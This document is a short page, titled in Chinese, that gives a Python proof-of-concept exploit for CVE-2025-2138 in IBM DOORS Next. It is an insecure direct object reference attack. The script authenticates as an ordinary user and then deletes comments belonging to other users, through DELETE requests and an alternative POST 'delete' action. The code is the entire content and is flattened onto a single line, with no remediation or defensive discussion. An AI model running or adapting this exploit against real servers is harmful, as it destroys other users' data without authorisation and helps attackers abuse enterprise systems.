CVE-2025-2138 IBM DOORS Next 权限绕过漏洞

# CVE-2025-2138 PoC - IBM DOORS Next Comment Deletion IDOR # This PoC demonstrates how an authenticated user can delete comments # belonging to other users by manipulating request parameters. import requests # Target DOORS Next server configuration TARGET_URL = "https://target-doors-next-server:9443/rm" USERNAME = "attacker_user" PASSWORD = "attacker_password" # Step 1: Authenticate to obtain a valid session session = requests.Session() login_url = f"{TARGET_URL}/auth/j_security_check" login_data = { "j_username": USERNAME, "j_password": PASSWORD } response = session.post(login_url, data=login_data, verify=False) if response.status_code != 200: print("[-] Authentication failed") exit(1) print("[+] Authentication successful") # Step 2: Enumerate comment IDs belonging to other users # Comments can be found by browsing artifacts or through the API # Example comment IDs that belong to other users target_comment_ids = [12345, 12346, 12347, 12348] # Step 3: Attempt to delete comments owned by other users # The server fails to verify ownership, relying on client-side checks delete_url_template = f"{TARGET_URL}/comment/{{comment_id}}" for comment_id in target_comment_ids: delete_url = delete_url_template.format(comment_id=comment_id) # Send DELETE request with the attacker's session # Server-side validation is missing, so the request succeeds headers = { "Content-Type": "application/json", "X-Requested-With": "XMLHttpRequest" } response = session.delete(delete_url, headers=headers, verify=False) if response.status_code in [200, 204]: print(f"[+] Successfully deleted comment ID: {comment_id}") else: print(f"[-] Failed to delete comment ID: {comment_id}, Status: {response.status_code}") print("[+] Exploit completed") # Alternative: Using PUT/POST with action parameter # Some versions may use POST with a delete action parameter delete_payload = { "action": "delete", "commentId": 12345, "artifactId": 67890 } response = session.post( f"{TARGET_URL}/comment/action", json=delete_payload, headers=headers, verify=False ) if response.status_code in [200, 204]: print("[+] Successfully deleted comment via POST action")